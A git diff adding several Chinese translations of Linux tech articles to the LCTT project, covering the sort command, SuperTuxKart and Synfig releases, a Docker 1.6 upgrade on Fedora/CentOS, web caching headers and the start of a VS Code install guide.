+![Sort File By Fields](http://www.tecmint.com/wp-content/uploads/2015/04/Sort-File-By-Fields.gif) + +然后再基于非数字的第四个域排序。 + +![Sort Content By Non Numeric](http://www.tecmint.com/wp-content/uploads/2015/04/Sort-Content-By-Non-Numeric.gif) + +如果分隔符是制表符,你需要在’+‘的位置上用$’\t’代替,如上例所示。 + +19、 对主用户目录下使用‘ls -l’命令得到的结果基于第五列(‘文件大小’)进行一个乱序排列。 + + $ ls -l /home/avi/ | sort -k5 -R + +![Sort Content by Column in Random Order](http://www.tecmint.com/wp-content/uploads/2015/04/Sort-Content-by-Column1.gif) + +每一次你运行上面的脚本,你得到结果可能都不一样,因为结果是随机生成的。 + +正如我在上一篇文章中提到的规则2所说——sort命令会将以小写字母开始的行排在大写字母开始的行前面。看一下上一篇文章的例3,字符串‘laptop’在‘LAPTOP’前出现。 + +20、 如何覆盖默认的排序优先权?在这之前我们需要先将环境变量LC_ALL的值设置为C。在命令行提示栏中运行下面的代码。 + + $ export LC_ALL=C + +然后以非默认优先权的方式对‘tecmint.txt’文件重新排序。 + + $ sort tecmint.txt + +![Override Sorting Preferences](http://www.tecmint.com/wp-content/uploads/2015/04/Override-Sorting-Preferences.gif) + +*覆盖排序优先权* + +不要忘记与example 3中得到的输出结果做比较,并且你可以使用‘-f’,又叫‘-ignore-case’(忽略大小写)的选项来获取更有序的输出。 + + $ sort -f tecmint.txt + +![Compare Sorting Preferences](http://www.tecmint.com/wp-content/uploads/2015/04/Compare-Sorting-Preferences.gif) + +21、 给两个输入文件进行‘sort‘,然后把它们连接成一行! + +我们创建两个文本文档’file1.txt‘以及’file2.txt‘,并用数据填充,如下所示,并用’cat‘命令查看文件的内容。 + + $ echo -e “5 Reliable\n2 Fast\n3 Secure\n1 open-source\n4 customizable” > file1.txt + $ cat file1.txt + +![Populate Content with Numbers](http://www.tecmint.com/wp-content/uploads/2015/04/Populate-Content-with-Number.gif) + +用如下数据填充’file2.txt‘。 + + $ echo -e “3 RedHat\n1 Debian\n5 Ubuntu\n2 Kali\n4 Fedora” > file2.txt + $ cat file2.txt + +![Populate File with Data](http://www.tecmint.com/wp-content/uploads/2015/04/Populate-File-with-Data.gif) + +现在我们对两个文件进行排序并连接。 + + $ join <(sort -n file1.txt) <(sort file2.txt) + +![Sort Join Two Files](http://www.tecmint.com/wp-content/uploads/2015/04/Sort-Join-Two-Files.gif) + + +我所要讲的全部内容就在这里了,希望与各位保持联系,也希望各位经常来逛逛。有反馈就在下面评论吧。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/linux-sort-command-examples/ + +作者:[Avishek Kumar][a] +译者:[DongShuaike](https://github.com/DongShuaike) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://www.tecmint.com/sort-command-linux/ diff --git a/published/201505/20150423 uperTuxKart 0.9 Released--The Best Racing Game on Linux Just Got Even Better.md b/published/201505/20150423 uperTuxKart 0.9 Released--The Best Racing Game on Linux Just Got Even Better.md new file mode 100644 index 0000000000..70355325b6 --- /dev/null +++ b/published/201505/20150423 uperTuxKart 0.9 Released--The Best Racing Game on Linux Just Got Even Better.md @@ -0,0 +1,35 @@ +SuperTuxKart 0.9 已发行 —— Linux 中最好的竞速类游戏越来越棒了! +================================================================================ +**热门竞速类游戏 SuperTuxKart 的新版本已经[打包发行][1]登陆下载服务器** + +![Super Tux Kart 0.9 Release Poster](http://1.bp.blogspot.com/-eGXvJu3UVwc/VTVhICZVEtI/AAAAAAAAAf0/iP2bkWDNf_c/s1600/poster-cropped.jpg) + +*Super Tux Kart 0.9 发行海报* + +SuperTuxKart 0.9 相较前一版本做了巨大的升级,内部运行着刚出炉的新引擎(有个炫酷的名字叫‘Antarctica(南极洲)’),目的是要呈现更加炫酷的图形环境,从阴影到场景的纵深,外加卡丁车更好的物理效果。 + +突出的图形表现也增加了对显卡的要求。SuperTuxKart 开发人员给玩家的建议是,要有图像处理能力比得上(或者,想要完美的话,要超过) Intel HD Graphics 3000, NVIDIA GeForce 8600 或 AMD Radeon HD 3650 的显卡。 + +### 其他改变 ### + +SuperTuxKart 0.9 中与图像的改善同样吸引人眼球的是一对**全新赛道**,新的卡丁车,新的在线账户可以记录和分享**全新推出的成就系统**里赢得的徽章,以及大量的改装和涂装的微调。 + +点击播放下面的官方发行视频,看看基于调色器的 STK 0.9 所散发的光辉吧。(youtube 视频:https://www.youtube.com/0FEwDH7XU9Q ) + +Ubuntu 用户可以从项目网站上下载新发行版已编译的二进制文件。 + +- [下载 SuperTuxKart 0.9][2] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2015/04/supertuxkart-0-9-released + +作者:[Joey-Elijah Sneddon][a] +译者:[H-mudcup](https://github.com/H-mudcup) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://supertuxkart.blogspot.co.uk/2015/04/supertuxkart-09-released.html +[2]:http://supertuxkart.sourceforge.net/Downloads diff --git a/published/201505/20150429 Docker 1.6 Released--How to Upgrade on Fedora or CentOS.md b/published/201505/20150429 Docker 1.6 Released--How to Upgrade on Fedora or CentOS.md new file mode 100644 index 0000000000..6b6141211f --- /dev/null +++ b/published/201505/20150429 Docker 1.6 Released--How to Upgrade on Fedora or CentOS.md @@ -0,0 +1,167 @@ +如何在Fedora / CentOS上面升级Docker 1.6 +============================================================================= +Docker,一个流行的将软件打包的开源容器平台,已经有了新的1.6版,增加了许多新的特性。该版本主要更新了Docker Registry、Engine、 Swarm、 Compose 和 Machine等方面。这次发布旨在提升性能、改善开发者和系统管理员的体验。让我们来快速看看有哪些新特性吧。 + +**Docker Registry (2.0)**是一项推送Docker镜像用于存储和分享的服务,因为面临加载下的体验问题而经历了架构的改变。它仍然向后兼容。Docker Registry的编写语言现在从Python改为Google的Go语言了,以提升性能。与Docker Engine 1.6结合后,拉取镜像的能力更快了。早先的镜像是队列式输送的,而现在是并行的啦。 + +**Docker Engine (1.6)**相比之前的版本有很大的提高。目前支持容器与镜像的标签。通过标签,你可以附加用户自定义的元数据到镜像和容器上,而镜像和容器反过来可以被其他工具使用。标签对正在运行的应用是不可见的,可以用来加速搜索容器和镜像。 + +Windows版本的Docker客户端可以连接到远程的运行在linux上的Docker Engine。 + +Docker目前支持日志驱动API,这允许我们发送容器日志给系统如Syslog,或者第三方。这将会使得系统管理员受益。 + +**Swarm (0.2)**是一个Docker集群工具,可以将一个Docker主机池转换为一个虚拟主机。在新特性里,容器甚至被放在了可用的节点上。通过添加更多的Docker命令,努力支持完整的Docker API。将来,使用第三方驱动来集群会成为可能。 + +**Compose (1.2)** 是一个Docker里定义和运行复杂应用的工具, 也得到了升级。在新版本里,可以创建多个子文件,而不是用一个没有结构的文件描述一个多容器应用。 + +通过**Machine (0.2)**,我们可以很容易地在本地计算机、云和数据中心上搭建Docker主机。新的发布版本为开发者提供了一个相对干净地驱动界面来编写驱动。Machine集中控制供给,而不是每个独立的驱动。增加了新的命令,可以用来生成主机的TLS证书,以提高安全性。 + +### 在Fedora / CentOS 上的升级指导 ### + +在这一部分里,我们将会学习如何在Fedora和CentOS上升级已有的docker到最新版本。请注意,目前的Docker仅运行在64位的架构上,Fedora和CentOS都源于RedHat,命令的使用是差不多相同的,除了在Fedora20和CentOS6.5里Docker包被叫做“docker-io”。 + +如果你系统之前没有安装Docker,使用下面命令安装: + + "yum install docker-io" – on Fedora20 / CentOS6.5 + + "yum install docker" - on Fedora21 / CentOS7 + +在升级之前,备份一下docker镜像和容器卷是个不错的主意。 + +参考[“将文件系统打成 tar 包”][1]与[“卷备份、恢复或迁移”][2],获取更多信息。 + +目前,测试系统安装了Docker1.5。样例输出显示是来自一个Fedora20的系统。 + +验证当前系统安装的Docker版本 + + [root@TestNode1 ~]#sudo docker -v + + Docker version 1.5.0, build a8a31ef/1.5.0 + +如果Docker正在运行,先停掉。 + + [root@TestNode1 ~]# sudo systemctl stop docker + +使用yum update升级到最新版,但是写这篇文章的时候,仓库并不是最新版本(1.6),因此你需要使用二进制的升级方法。 + + [root@TestNode1 ~]#sudo yum -y update docker-io + + No packages marked for update + + [root@TestNode1 ~]#sudo wget https://get.docker.com/builds/Linux/x86_64/docker-latest -O /usr/bin/docker + + --2015-04-19 13:40:48-- https://get.docker.com/builds/Linux/x86_64/docker-latest + + Resolving get.docker.com (get.docker.com)... 162.242.195.82 + + Connecting to get.docker.com (get.docker.com)|162.242.195.82|:443... connected. + + HTTP request sent, awaiting response... 200 OK + + Length: 15443598 (15M) [binary/octet-stream] + + Saving to: /usr/bin/docker + + 100%[======================================>] 15,443,598 8.72MB/s in 1.7s + + 2015-04-19 13:40:50 (8.72 MB/s) - /usr/bin/docker saved + +检查更新后的版本 + + [root@TestNode1 ~]#sudo docker -v + + Docker version 1.6.0, build 4749651 + +重启docker服务 + + [root@TestNode1 ~]# sudo systemctl start docker + +确认Docker在运行 + + [root@TestNode1 ~]# docker images + + REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE + + fedora latest 834629358fe2 3 months ago 241.3 MB + + [root@TestNode1 ~]# docker run fedora /bin/echo Hello World + + Hello World + +CentOS安装时需要**注意**,在CentOS上安装完Docker后,当你试图启动Docker服务的时候,你可能会得到错误的信息,如下所示: + + docker.service - Docker Application Container Engine + + Loaded: loaded (/usr/lib/systemd/system/docker.service; disabled) + + Active: failed (Result: exit-code) since Mon 2015-04-20 03:24:24 EDT; 6h ago + + Docs: http://docs.docker.com + + Process: 21069 ExecStart=/usr/bin/docker -d $OPTIONS $DOCKER_STORAGE_OPTIONS $DOCKER_NETWORK_OPTIONS $ADD_REGISTRY $BLOCK_REGISTRY $INSECURE_REGISTRY (code=exited, status=127) + + Main PID: 21069 (code=exited, status=127) + + Apr 20 03:24:24 centos7 systemd[1]: Starting Docker Application Container E..... + + Apr 20 03:24:24 centos7 docker[21069]: time="2015-04-20T03:24:24-04:00" lev...)" + + Apr 20 03:24:24 centos7 docker[21069]: time="2015-04-20T03:24:24-04:00" lev...)" + + Apr 20 03:24:24 centos7 docker[21069]: /usr/bin/docker: relocation error: /...ce + + Apr 20 03:24:24 centos7 systemd[1]: docker.service: main process exited, co.../a + + Apr 20 03:24:24 centos7 systemd[1]: Failed to start Docker Application Cont...e. + + Apr 20 03:24:24 centos7 systemd[1]: Unit docker.service entered failed state. + +这是一个已知的bug([https://bugzilla.redhat.com/show_bug.cgi?id=1207839][3]),需要将设备映射升级到最新。 + + [root@centos7 ~]# rpm -qa device-mapper + + device-mapper-1.02.84-14.el7.x86_64 + + [root@centos7 ~]# yum update device-mapper + + [root@centos7 ~]# rpm -qa device-mapper + + device-mapper-1.02.93-3.el7.x86_64 + + [root@centos7 ~]# systemctl start docker + +### 总结 ### + +尽管docker技术出现时间不长,但很快就变得非常流行了。它使得开发者的生活变得轻松,运维团队可以快速独立地创建和部署应用。通过该公司的发布,Docker的快速更新,产品质量的提升,满足用户需求,未来对于Docker来说一片光明。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/docker-1-6-features-upgrade-fedora-centos/ + +作者:[B N Poornima][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/bnpoornima/ +[1]:http://docs.docker.com/reference/commandline/cli/#export +[2]:http://docs.docker.com/userguide/dockervolumes/#backup-restore-or-migrate-data-volumes +[3]:https://bugzilla.redhat.com/show_bug.cgi?id=1207839 +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: +[13]: +[14]: +[15]: +[16]: +[17]: +[18]: +[19]: +[20]: diff --git a/published/201505/20150429 Synfig Studio 1.0--Open Source Animation Gets Serious.md b/published/201505/20150429 Synfig Studio 1.0--Open Source Animation Gets Serious.md new file mode 100644 index 0000000000..a216674d9b --- /dev/null +++ b/published/201505/20150429 Synfig Studio 1.0--Open Source Animation Gets Serious.md @@ -0,0 +1,38 @@ +Synfig Studio 1.0:开源动画动真格的了 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/04/synfig-free-animations-750x467.jpg) + +**现在可以下载 Synfig Studio 这个自由、开源的2D动画软件的全新版本了。 ** + +在这个跨平台的软件首次发行一年之后,Synfig Studio 1.0 带着一套全新改进过的功能,实现它所承诺的“创造电影级的动画的工业级解决方案”。 + +在众多功能之上的是一个改进过的用户界面,据项目开发者说那是个用起来‘更简单’、‘更直观’的界面。客户端添加了新的**单窗口模式**,让界面更整洁,而且**使用了最新的 GTK3 库重制**。 + +在功能方面有几个值得注意的变化,包括新加的全功能骨骼系统。 + +这套**关节和转轴的‘骨骼’构架**非常适合2D剪纸动画,再配上这个版本新加的复杂的变形控制系统或是 Synfig 受欢迎的‘关键帧自动插入’(即:帧到帧之间的变形)应该会变得非常有效率的。(youtube视频 https://www.youtube.com/M8zW1qCq8ng ) + +新的无损剪切工具,摩擦力效果和对逐帧位图动画的支持,可能会有助于释放开源动画师们的创造力,更别说新加的用于同步动画的时间线和声音的声效层! + +### 下载 Synfig Studio 1.0 ### + +Synfig Studio 并不是任何人都能用的工具套件,这最新发行版的最新一批改进应该能吸引一些动画制作者试一试这个软件。 + +如果你想看看开源动画制作软件是什么样的,你可以通过下面的链接直接从工程的 Sourceforge 页下载一个适用于 Ubuntu 的最新版本的安装器。 + +- [下载 Synfig 1.0 (64bit) .deb 安装器][1] +- [下载 Synfig 1.0 (32bit) .deb 安装器][2] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2015/04/synfig-studio-new-release-features + +作者:[Joey-Elijah Sneddon][a] +译者:[H-mudcup](https://github.com/H-mudcup) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://sourceforge.net/projects/synfig/files/releases/1.0/linux/synfigstudio_1.0_amd64.deb/download +[2]:http://sourceforge.net/projects/synfig/files/releases/1.0/linux/synfigstudio_1.0_x86.deb/download diff --git a/published/201505/20150429 web caching basics terminology http headers and caching strategies.md b/published/201505/20150429 web caching basics terminology http headers and caching strategies.md new file mode 100644 index 0000000000..52e4e4e01f --- /dev/null +++ b/published/201505/20150429 web caching basics terminology http headers and caching strategies.md @@ -0,0 +1,181 @@ +Web缓存基础:术语、HTTP报头和缓存策略 +===================================================================== + +### 简介 + +对于您的站点的访问者来说,智能化的内容缓存是提高用户体验最有效的方式之一。缓存,或者对之前的请求的临时存储,是HTTP协议实现中最核心的内容分发策略之一。分发路径中的组件均可以缓存内容来加速后续的请求,这受控于对该内容所声明的缓存策略。 + +在这份指南中,我们将讨论一些Web内容缓存的基本概念。这主要包括如何选择缓存策略以保证互联网范围内的缓存能够正确的处理您的内容。我们将谈一谈缓存带来的好处、副作用以及不同的策略能带来的性能和灵活性的最大结合。 + +###什么是缓存(caching)? + +缓存(caching)是一个描述存储可重用资源以便加快后续请求的行为的术语。有许多不同类型的缓存,每种都有其自身的特点,应用程序缓存和内存缓存由于其对特定回复的加速,都很常用。 + +这份指南的主要讲述的Web缓存是一种不同类型的缓存。Web缓存是HTTP协议的一个核心特性,它能最小化网络流量,并且提升用户所感知的整个系统响应速度。内容从服务器到浏览器的传输过程中,每个层面都可以找到缓存的身影。 + +Web缓存根据特定的规则缓存相应HTTP请求的响应。对于缓存内容的后续请求便可以直接由缓存满足而不是重新发送请求到Web服务器。 + +###好处 + +有效的缓存技术不仅可以帮助用户,还可以帮助内容的提供者。缓存对内容分发带来的好处有: + +- **减少网络开销**:内容可以在从内容提供者到内容消费者网络路径之间的许多不同的地方被缓存。当内容在距离内容消费者更近的地方被缓存时,由于缓存的存在,请求将不会消耗额外的网络资源。 +- **加快响应速度**:由于并不是必须通过整个网络往返,缓存可以使内容的获得变得更快。缓存放在距用户更近的地方,例如浏览器缓存,使得内容的获取几乎是瞬时的。 +- **在同样的硬件上提高速度**:对于保存原始内容的服务器来说,更多的性能可以通过允许激进的缓存策略从硬件上压榨出来。内容拥有者们可以利用分发路径上某个强大的服务器来应对特定内容负载的冲击。 +- **网络中断时内容依旧可用**:使用某种策略,缓存可以保证在原始服务器变得不可用时,相应的内容对用户依旧可用。 + +###术语 + +在面对缓存时,您可能对一些经常遇到的术语可能不太熟悉。一些常见的术语如下: + +- **原始服务器**:原始服务器是内容的原始存放地点。如果您是Web服务器管理员,它就是您所管理的机器。它负责为任何不能从缓存中得到的内容进行回复,并且负责设置所有内容的缓存策略。 +- **缓存命中率**:一个缓存的有效性依照缓存的命中率进行度量。它是可以从缓存中得到数据的请求数与所有请求数的比率。缓存命中率高意味着有很高比例的数据可以从缓存中获得。这通常是大多数管理员想要的结果。 +- **新鲜度**:新鲜度用来描述一个缓存中的项目是否依旧适合返回给客户端。缓存中的内容只有在由缓存策略指定的新鲜期内才会被返回。 +- **过期内容**:缓存中根据缓存策略的新鲜期设置已过期的内容。过期的内容被标记为“陈旧”。通常,过期内容不能用于回复客户端的请求。必须重新从原始服务器请求新的内容或者至少验证缓存的内容是否仍然准确。 +- **校验**:缓存中的过期内容可以验证是否有效以便刷新过期时间。验证过程包括联系原始服务器以检查缓存的数据是否依旧代表了最近的版本。 +- **失效**:失效是依据过期日期从缓存中移除内容的过程。当内容在原始服务器上已被改变时就必须这样做,缓存中过期的内容会导致客户端发生问题。 + +还有许多其他的缓存术语,不过上面的这些应该能帮助您开始。 + +###什么能被缓存? + +某些特定的内容比其他内容更容易被缓存。对大多数站点来说,一些适合缓存的内容如下: + +- Logo和商标图像 +- 普通的不变化的图像(例如,导航图标) +- CSS样式表 +- 普通的Javascript文件 +- 可下载的内容 +- 媒体文件 + +这些文件更倾向于不经常改变,所以长时间的对它们进行缓存能获得好处。 + +一些项目在缓存中必须加以注意: + +- HTML页面 +- 会替换改变的图像 +- 经常修改的Javascript和CSS文件 +- 需要有认证后的cookies才能访问的内容 + +一些内容从来不应该被缓存: + +- 与敏感信息相关的资源(银行数据,等) +- 用户相关且经常更改的数据 + +除上面的通用规则外,通常您需要指定一些规则以便于更好地缓存不同种类的内容。例如,如果登录的用户都看到的是同样的网站视图,就应该在任何地方缓存这个页面。如果登录的用户会在一段时间内看到站点中用户特定的视图,您应该让用户的浏览器缓存该数据而不应让任何中介节点缓存该视图。 + +###Web内容缓存的位置 + +Web内容会在整个分发路径中的许多不同的位置被缓存: + +- **浏览器缓存**:Web浏览器自身会维护一个小型缓存。典型地,浏览器使用一种策略指示缓存最重要的内容。这可能是用户相关的内容或可能会再次请求且下载代价较高。 +- **中间缓存代理**:任何在客户端和您的基础架构之间的服务器都可以按期望缓存一些内容。这些缓存可能由ISP(网络服务提供者)或者其他独立组织提供。 +- **反向缓存**:您的服务器基础架构可以为后端的服务实现自己的缓存。如果实现了缓存,那么便可以在处理请求的位置返回相应的内容而不用每次请求都使用后端服务。 + +上面的这些位置通常都可以根据它们自身的缓存策略和内容源的缓存策略缓存一些相应的内容。 + +###缓存头部 + +缓存策略依赖于两个不同的因素。所缓存的实体本身需要决定是否应该缓存可接受的内容。它可以只缓存部分可以缓存的内容,但不能缓存超过限制的内容。 + +缓存行为主要由缓存策略决定,而缓存策略由内容拥有者设置。这些策略主要通过特定的HTTP头部来清晰地表达。 + +经过几个不同HTTP协议的变化,出现了一些不同的针对缓存方面的头部,它们的复杂度各不相同。下面列出了那些你也许应该注意的: + +- **`Expires`**:尽管使用范围相当有限,但`Expires`头部是非常简洁明了的。通常它设置一个未来的时间,内容会在此时间过期。这时,任何对同样内容的请求都应该回到原始服务器处。这个头部或许仅仅最适合回退模式(fall back)。 +- **`Cache-Control`**:这是`Expires`的一个更加现代化的替换物。它已被很好的支持,且拥有更加灵活的实现。在大多数案例中,它比`Expires`更好,但同时设置两者的值也无妨。稍后我们将讨论您可以设置的`Cache-Control`的详细选项。 +- **`ETag`**:`ETag`用于缓存验证。源服务器可以在首次服务一个内容时为该内容提供一个独特的`ETag`。当一个缓存需要验证这个内容是否即将过期,他会将相应的`ETag`发送回服务器。源服务器或者告诉缓存内容是一致的,或者发送更新后的内容(带着新的`ETag`)。 +- **`Last-Modified`**:这个头部指明了相应的内容最后一次被修改的时间。它可能会作为保证内容新鲜度的验证策略的一部分被使用。 +- **`Content-Length`**:尽管并没有在缓存中明确涉及,`Content-Length`头部在设置缓存策略时很重要。某些软件如果不提前获知内容的大小以留出足够空间,则会拒绝缓存该内容。 +- **`Vary`**:缓存系统通常使用请求的主机和路径作为存储该资源的键。当判断一个请求是否是请求同样内容时,`Vary`头部可以被用来提醒缓存系统需要注意另一个附加头部。它通常被用来告诉缓存系统同样注意`Accept-Encoding`头部,以便缓存系统能够区分压缩和未压缩的内容。 + +### Vary头部的隐语 + +`Vary`头部提供给您存储同一个内容的不同版本的能力,代价是降低了缓存的容量。 + +在使用`Accept-Encoding`时,设置`Vary`头部允许明确区分压缩和未压缩的内容。这在服务某些不能处理压缩数据的浏览器时很重要,它可以保证基本的可用性。`Vary`的一个典型的值是`Accept-Encoding`,它只有两到三个可选的值。 + +一开始看上去`User-Agent`这样的头部可以用于区分移动浏览器和桌面浏览器,以便您的站点提供差异化的服务。但`User-Agent`字符串是非标准的,结果将会造成在中间缓存中保存同一内容的许多不同版本的缓存,这会导致缓存命中率的降低。`Vary`头部应该谨慎使用,尤其是您不具备在您控制的中间缓存中使请求标准化的能力(也许可以,比如您可以控制CDN的话)。 + +###缓存控制标志怎样影响缓存 + +上面我们提到了`Cache-Control`头部如何被用与现代缓存策略标准。能够通过这个头部设定许多不同的缓存指令,多个不同的指令通过逗号分隔。 + +一些您可以使用的指示内容缓存策略的`Cache-Control`的选项如下: + +- **`no-cache`**:这个指令指示所有缓存的内容在新的请求到达时必须先重新验证,再发送给客户端。这条指令实际将内容立刻标记为过期的,但允许通过验证手段重新验证以避免重新下载整个内容。 +- **`no-store`**:这条指令指示缓存的内容不能以任何方式被缓存。它适合在回复敏感信息时设置。 +- **`public`**:它将内容标记为公有的,这意味着它能被浏览器和其他任何中间节点缓存。通常,对于使用了HTTP验证的请求,其回复被默认标记为`private`。`public`标记将会覆盖这个设置。 +- **`private`**:它将内容标记为私有的。私有数据可以被用户的浏览器缓存,但*不能*被任何中间节点缓存。它通常用于用户相关的数据。 +- **`max-age`**:这个设置指示了缓存内容的最大生存期,它在最大生存期后必须在源服务器处被验证或被重新下载。在现代浏览器中这个选项大体上取代了`Expires`头部,浏览器也将其作为决定内容的新鲜度的基础。这个选项的值以秒为单位表示,最大可以表示一年的新鲜期(31536000秒)。 +- **`s-maxage`**:这个选项非常类似于`max-age`,它指明了内容能够被缓存的时间。区别是这个选项只在中间节点的缓存中有效。结合这两个选项可以构建更加灵活的缓存策略。 +- **`must-revalidate`**:它指明了由`max-age`、`s-maxage`或`Expires`头部指明的新鲜度信息必须被严格的遵守。它避免了缓存的数据在网络中断等类似的场景中被使用。 +- **`proxy-revalidate`**:它和上面的选项有着一样的作用,但只应用于中间的代理节点。在这种情况下,用户的浏览器可以在网络中断时使用过期内容,但中间缓存内容不能用于此目的。 +- **`no-transform`**:这个选项告诉缓存在任何情况下都不能因为性能的原因修改接收到的内容。这意味着,缓存不允许压缩接收到的内容(没有从原始服务器处接收过压缩版本的该内容)并发送。 + +这些选项能够以不同的方式结合以获得不同的缓存行为。一些互斥的值如下: + +- `no-cache`,`no-store`以及由其他前面未提到的选项指明的常用的缓存行为 +- `public`和`private` + +如果`no-store`和`no-cache`都被设置,那么`no-store`会取代`no-cache`。对于非授权的请求的回复,`public`是隐含的设置。对于授权的请求的回复,`private`选项是隐含的。他们可以通过在`Cache-Control`头部中指明相应的相反的选项以覆盖。 + +###开发一种缓存策略 + +在理想情况下,任何内容都可以被尽可能缓存,而您的服务器只需要偶尔的提供一些验证内容即可。但这在现实中很少发生,因此您应该尝试设置一些明智的缓存策略,以在长期缓存和站点改变的需求间达到平衡。 + +### 常见问题 + +在许多情况中,由于内容被产生的方式(如根据每个用户动态的产生)或者内容的特性(例如银行的敏感数据),这些内容不应该被缓存。另一些许多管理员在设置缓存时可能面对的问题是外部缓存的数据未过期,但新版本的数据已经产生。 + +这些都是经常遇到的问题,它们会影响缓存的性能和您提供的数据的准确性。然而,我们可以通过开发提前预见这些问题的缓存策略来缓解这些问题。 + +### 一般性建议 + +尽管您的实际情况会指导您选择的缓存策略,但是下面的建议能帮助您获得一些合理的决定。 + +在您担心使用哪一个特定的头部之前,有一些特定的步骤可以帮助您提高您的缓存命中率。一些建议如下: + +- **为图像、CSS和共享的内容建立特定的文件夹**:将内容放到特定的文件夹内使得您可以方便的从您的站点中的任何页面引用这些内容。 +- **使用同样的URL来表示同样的内容**:由于缓存使用内容请求中的主机名和路径作为键,因此应保证您的所有页面中的该内容的引用方式相同,前一个建议能让这点更加容易做到。 +- **尽可能使用CSS图像拼接**:对于像图标和导航等内容,使用CSS图像拼接能够减少渲染您页面所需要的请求往返,并且允许对拼接缓存很长一段时间。 +- **尽可能将主机脚本和外部资源本地化**:如果您使用Javascript脚本和其他外部资源,如果上游没有提供合适的缓存头部,那么您应考虑将这些内容放在您自己的服务器上。您应该注意上游的任何更新,以便更新本地的拷贝。 +- **对缓存内容收集文件摘要**:静态的内容比如CSS和Javascript文件等通常比较适合收集文件摘要。这意味着为文件名增加一个独特的标志符(通常是这个文件的哈希值)可以在文件修改后绕开缓存保证新的内容被重新获取。有很多工具可以帮助您创建文件摘要并且修改HTML文档中的引用。 + +对于不同的文件正确地选择不同的头部这件事,下面的内容可以作为一般性的参考: + +- **允许所有的缓存存储一般内容**:静态内容以及非用户相关的内容应该在分发链的所有节点被缓存。这使得中间节点可以将该内容回复给多个用户。 +- **允许浏览器缓存用户相关的内容**:对于每个用户的数据,通常在用户自己的浏览器中缓存是可以被接受且有益的。缓存在用户自身的浏览器能够使得用户在接下来的浏览中能够瞬时读取,但这些内容不适合在任何中间代理节点缓存。 +- **将时间敏感的内容作为特例**:如果您的数据是时间敏感的,那么相对上面两条参考,应该将这些数据作为特例,以保证过期的数据不会在关键的情况下被使用。例如,您的站点有一个购物车,它应该立刻反应购物车里面的物品。依据内容的特点,可以在`Cache-Control`头部中使用`no-cache`或`no-store`选项。 +- **总是提供验证器**:验证器使得过期的内容可以无需重新下载而得到刷新。设置`ETag`和`Last-Modified`头部将允许缓存向原始服务器验证内容,并在内容未修改时刷新该内容新鲜度以减少负载。 +- **对于支持的内容设置长的新鲜期**:为了更加有效的利用缓存,一些作为支持性的内容应该被设置较长的新鲜期。这通常比较适合图像和CSS等由用户请求用来渲染HTML页面的内容。和文件摘要一起,设置延长的新鲜期将允许缓存长时间的存储这些资源。如果资源发生改变,修改的文件摘要将会使缓存的数据无效并触发对新的内容的下载。那时,新的支持的内容会继续被缓存。 +- **对父内容设置短的新鲜期**:为了使得前面的模式正常工作,容器类的内容应该相应的设置短的新鲜期,或者设置不全部缓存。这通常是在其他协助内容中使用的HTML页面。这个HTML页面将会被频繁的下载,使得它能快速的响应改变。支持性的内容因此可以被尽量缓存。 + +关键之处便在于达到平衡,一方面可以尽量的进行缓存,另一方面为未来保留当改变发生时从而改变整个内容的机会。您的站点应该同时具有: + +- 尽量缓存的内容 +- 拥有短的新鲜期的缓存内容,可以被重新验证 +- 完全不被缓存的内容 + +这样做的目的便是将内容尽可能的移动到第一个分类(尽量缓存)中的同时,维持可以接受的缓存命中率。 + +结论 +---- + +花时间确保您的站点使用了合适的缓存策略将对您的站点产生重要的影响。缓存使得您可以在保证服务同样内容的同时减少带宽的使用。您的服务器因此可以靠同样的硬件处理更多的流量。或许更重要的是,客户们能在您的网站中获得更快的体验,这会使得他们更愿意频繁的访问您的站点。尽管有效的Web缓存并不是银弹,但设置合适的缓存策略会使您以最小的代价获得可观的收获。 + +--- + +via: https://www.digitalocean.com/community/tutorials/web-caching-basics-terminology-http-headers-and-caching-strategies + +作者: [Justin Ellingwood](https://www.digitalocean.com/community/users/jellingwood) +译者:[wwy-hust](https://github.com/wwy-hust) +校对:[wxy](https://github.com/wxy) +推荐:[royaso](https://github.com/royaso) + + + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + + + diff --git a/published/201505/20150504 How To Install Visual Studio Code On Ubuntu.md b/published/201505/20150504 How To Install Visual Studio Code On Ubuntu.md new file mode 100644 index 0000000000..b3bb071dc5 --- /dev/null +++ b/published/201505/20150504 How To Install Visual Studio Code On Ubuntu.md @@ -0,0 +1,63 @@ +在Ubuntu中安装Visual Studio Code +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/05/Install-Visual-Studio-Code-in-Ubuntu.jpeg) + +微软令人意外地[发布了Visual Studio Code][1],并支持主要的桌面平台,当然包括linux。如果你是一名需要在ubuntu工作的web开发人员,你可以**非常轻松的安装Visual Studio Code**。 + +我将要使用[Ubuntu Make][2]来安装Visual Studio Code。Ubuntu Make,就是以前的Ubuntu开发者工具中心,是一个命令行工具,帮助用户快速安装各种开发工具、语言和IDE。也可以使用Ubuntu Make轻松[安装Android Studio][3] 和其他IDE,如Eclipse。本文将展示**如何在Ubuntu中使用Ubuntu Make安装Visual Studio Code**。(译注:也可以直接去微软官网下载安装包) + +### 安装微软Visual Studio Code ### + +开始之前,首先需要安装Ubuntu 